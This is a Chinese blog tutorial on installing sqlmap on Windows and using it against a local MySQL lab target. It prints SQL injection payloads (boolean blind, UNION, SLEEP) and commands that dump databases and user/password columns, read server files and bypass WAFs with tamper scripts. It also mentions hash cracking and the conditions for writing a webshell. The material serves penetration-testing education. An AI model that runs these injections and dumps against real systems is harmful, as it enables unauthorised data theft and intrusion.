前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Windows主机sqlmap安装及使用

Windows主机sqlmap安装及使用

原创
作者头像
lan8864
修改2024-05-08 11:41:22
780
修改2024-05-08 11:41:22

说明:sqlmap需下载python2.7.9版本、在win命令行运行。


1、sqlmap安装:

1、先下载python2.7.9版本(支持Python 2.7或Python 3版本)

安装路径最好为默认路径

1.1python安装:

设置环境变量:python的安装路径和scripts路径添加到电脑主机环境变量

步骤:打开环境变量:【此电脑】--右击属性-高级系统设置--高级-环境变量--admin的用户变量--Path--编辑--添加C:\Python27\Scripts和C:\Python27--确认关闭

2、下载sqlmap软件文件。

(可以通过GitHub或其他来源获取)

打开sqlmap目录,在sqlmap软件目录下输入cmd进入命令行

编辑方式二:

代码语言:javascript
复制
快捷键:win+R  输入cmd 进入命令行

cd C:\lan\sqlmap
--sqlmap软件路径

d:
--如果命令行未进入C:\lan\sqlmap>目录下输入d:回车进入

安装完成。

2、sqlmap使用

2.0、mysql前提

  • 对服务器文件进行读写操作(前提条件)

- 需要知道远程Web目录

- 需要mysql root权限

- 需要远程目录有写权限

- 需要数据库开启secure\_file\_priv 相当于secure\_file\_priv的值为空,不为空不充许写入webshell (默认不开启,需要修改mysql.ini配置文件)

2.1、基础用法

建立mysql靶场环境模拟有漏洞的实际系统,在本地环境进行测试使用sqlmap

代码语言:javascript
复制
基本命令格式是:
sqlmap.py [OPTIONS] URL

例如,要测试一个简单的GET参数注入,命令可能是:
sqlmap.py -u "http://10.0.0.101:90/mysql/sql.php?id=1" 

-u 一般get注入方式

代码语言:javascript
复制
sqlmap.py  -u http://10.0.0.101:90/mysql/sql.php?id=1
-- -u为get注入
--/mysql/sql.php?id=1 是请求的具体路径,其中 sql.php 是目标脚本文件,id=1 是传递给该脚本的一个参数值。
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
--输出选Y
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] n
--输出一般选n
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
--输出一般选n

--生产环境测到此次已完成。

代码语言:javascript
复制
结果解读:
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 24 HTTP(s) requests:
---
Place: GET
Parameter: id
--注入点位置:漏洞位于GET请求的'id'参数中
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 7911=7911
--布尔型盲注; 此类注入依赖于响应中是否有变化来判断SQL语句的真假,从而逐位猜解数据。
    Type: UNION query
    Title: MySQL UNION query (NULL) - 4 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x3a6773753a,0x7a59485655536e69784f,0x3a65656a3a),NULL,NULL,NULL#
--利用UNION操作符将恶意查询与原始查询结果合并,从数据库中直接提取信息。这里使用了十六进制编码来构造输出,以绕过可能的字符过滤。
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1 AND SLEEP(5)
--时间和基于OR的盲注; 通过使数据库执行一个延时操作(如SLEEP(5)),根据响应时间判断SQL语句执行情况,适合于那些仅能通过响应时间变化来判断的场景。

-r 文件中读取HTTP请求数据并进行SQL注入测试

代码语言:javascript
复制
语法:sqlmap.py -r post.txt -p 注入参数
如:sqlmap.py -r post.txt -p username,password
-- sqlmap.py是一个自动化的SQL注入工具,用于检测和利用Web应用程序中的SQL注入漏洞。
-- -r post.txt: 这个参数告诉sqlmap从指定的文件(post.txt)中读取原始HTTP请求。post.txt文件应包含一个或多个HTTP请求.
-- -p 注入参数:如果POST请求中有参数名为username和password,正确的用法应该是-p username,password。这个选项告诉sqlmap只针对列出的参数执行SQL注入测试。

–-level=LEVEL 扫描深度级别

代码语言:javascript
复制
语法:sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1 --level 1
--执行测试的等级(1-5,默认为1);使用–-level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。

--risk=RISK 执行测试的风险

代码语言:javascript
复制
语法:sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1 --risk 1
--执行测试的风险(0-3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

-v 显示详细信息

代码语言:javascript
复制
如sqlmap.py  -r C:\lan\sqlmap\1.txt  --level 3 -v 6
#-r C:\lan\sqlmap\1.txt: 使用-r参数指定一个包含HTTP请求的文件路径
#--level 3: 设置扫描的深度级别为3
#-v 6: 设置sqlmap的详细输出级别为6

ERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。

-thread 线程

代码语言:javascript
复制
线程数,如果你想让sqlmap跑的更快,可以更改这个线程 数的值,默认值为10

-batch-smart 智能判断测试(生产环境一般禁用)

代码语言:javascript
复制
C:\lan\sqlmap> sqlmap.py  -u http://10.0.0.101:90/mysql/sql.php?id=1  -batch-smart
--旨在非交互式地(即无需人工确认每一步操作)使用SQLMap对指定的Web应用程序URL进行SQL注入漏洞检测,同时希望该工具能够智能地处理测试过程中的各种情况,以提高效率和安全性。
--数据库表名、用户名、账户密码破解、数据库内容脱库保存到攻击者主机标注的目录里(违法)
代码语言:javascript
复制
解读:

1、目标URL与检测点:

目标URL为http://10.0.0.101:90/mysql/sql.php?id=1。
在GET参数id上发现了三种类型的SQL注入漏洞:
布尔型盲注(Boolean-based blind)。
联合查询注入(UNION query)。
时间延迟盲注(AND/OR time-based blind)。

2-3、数据库信息:

后端数据库管理系统(DBMS)确认为MySQL版本5.5.53,尽管在信息摘要中最初识别为5.0.11,这可能是识别或报告中的一个不一致。
当前数据库用户为root@localhost,并且此用户具有数据库管理员(DBA)权限。
当前数据库名为sql。
Web服务器操作系统为Windows,Web应用技术为PHP 5.4.45,运行在Apache 2.4.23上。
系统与用户详情:

主机名为oldboy-f74d04fe。
列出了数据库管理系统中的三个用户,均为root,分别来自不同的主机地址(127.0.0.1, ::1, localhost)
-----------------------------------说明
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q]
进行数据库转储操作时的详细日志输出。它显示了SQLMap如何逐个表地从指定的数据库(在这个案例中主要是performance_schema和bwapp)中提取结构和数据,并将这些信息保存为CSV文件的过程。

do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q]
是否希望对这些哈希值进行字典攻击以尝试破解密码
[Y] 表示“是”,同意SQLMap使用内置或自定义的字典来尝试破解识别到的密码哈希。
[n] 表示“否”,不进行破解操作,仅停留在当前状态。
[q] 通常意味着“退出”,可能用于终止当前的SQLMap会话

do you want to crack them via a dictionary-based attack? [Y/n/q]
是否决定继续通过字典攻击来尝试破解已发现的密码哈希

do you want to crack them via a dictionary-based attack? [Y/n/q]
您想通过基于字典的攻击来破解它们吗?[Y/n/q]

--mobile 模拟测试手机环境站点

代码语言:javascript
复制
sqlmap.py  -u http://10.0.0.101:90/mysql/sql.php?id=1 --mobile

-m 批量注入

代码语言:javascript
复制
如sqlmap.py  -m C:\lan\sqlmap\2.txt

--force-ssl 跑https网站

注入获取数据命令

代码语言:javascript
复制
--dbs  //默认情况系sqlmap会自动的探测web应用后端的数据库类型:MySQL、Oracle、PostgreSQL、MicrosoftSQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAPMaxDB、DB2
--current-user:大多数数据库中可检测到数据库管理系统当前用户
--current-db:当前连接数据库名
--is-dba:判断当前的用户是否为管理
--users:列出数据库所有所有用户

获取表名

  • --tables -D 数据库名

字段名

  • --columns -T user -D abc

数据内容

  • -T user -C username,password,email --dump

读文件内容

  • --file-read 【/etc/password】

sqlmap过waf

代码语言:javascript
复制
--tamper "脚本"

如sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1  --tamper "base64encode.py" -v 5 --dbs

使用多个脚本用逗号隔开:如--tamper "base64encode.py,space2plus.py"
sqlmap.py: SQLMap的主执行文件,这是一个自动化的SQL注入工具。
-u: 参数用于指定目标URL,这里是http://10.0.0.101:90/mysql/sql.php?id=1。这告诉SQLMap要测试哪个页面的SQL注入漏洞。
--tamper "base64encode.py": 使用base64encode.py篡改器。这个脚本会将请求参数(在这个例子中是id=1)通过Base64编码,以绕过可能的安全过滤或检测机制。
-v 5: 设置详细级别为5。SQLMap有0到5的详细级别,5是最详细的,会显示所有可能的信息,包括每个请求和响应。
--dbs: 这个选项让SQLMap列出目标数据库服务器上的所有可用数据库。它会尝试获取数据库管理系统(DBMS)的元数据,以发现存在的数据库名称。

sqlmap软件目录自带脚本目录(..\slqmap\tamper目录下)

声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。
  • 在使用SQLMap进行任何测试之前,必须确保你有合法的授权。未经授权的渗透测试和SQL注入尝试是非法的,可能会违反计算机欺诈与滥用法或其他相关法律。
  • 尊重目标系统的隐私和数据保护要求,避免造成不必要的数据泄露或服务中断。
  • 如果你是在自己的系统或得到授权的环境中测试,确保事先做好数据备份,以防万一操作失误导致数据丢失或损坏。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、sqlmap安装:
    • 1.1python安装:
      • 2、下载sqlmap软件文件。
      • 2、sqlmap使用
        • 2.0、mysql前提
          • 2.1、基础用法
            • -u 一般get注入方式
              • -r 文件中读取HTTP请求数据并进行SQL注入测试
                • –-level=LEVEL 扫描深度级别
                  • --risk=RISK 执行测试的风险
                    • -v 显示详细信息
                      • -thread 线程
                        • -batch-smart 智能判断测试(生产环境一般禁用)
                          • --mobile 模拟测试手机环境站点
                            • -m 批量注入
                              • --force-ssl 跑https网站
                                • 注入获取数据命令
                                  • 获取表名
                                    • 字段名
                                      • 数据内容
                                        • 读文件内容
                                          • sqlmap过waf
                                          相关产品与服务
                                          云数据库 MySQL
                                          腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
                                          领券
                                          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
                                          http://www.vxiaotou.com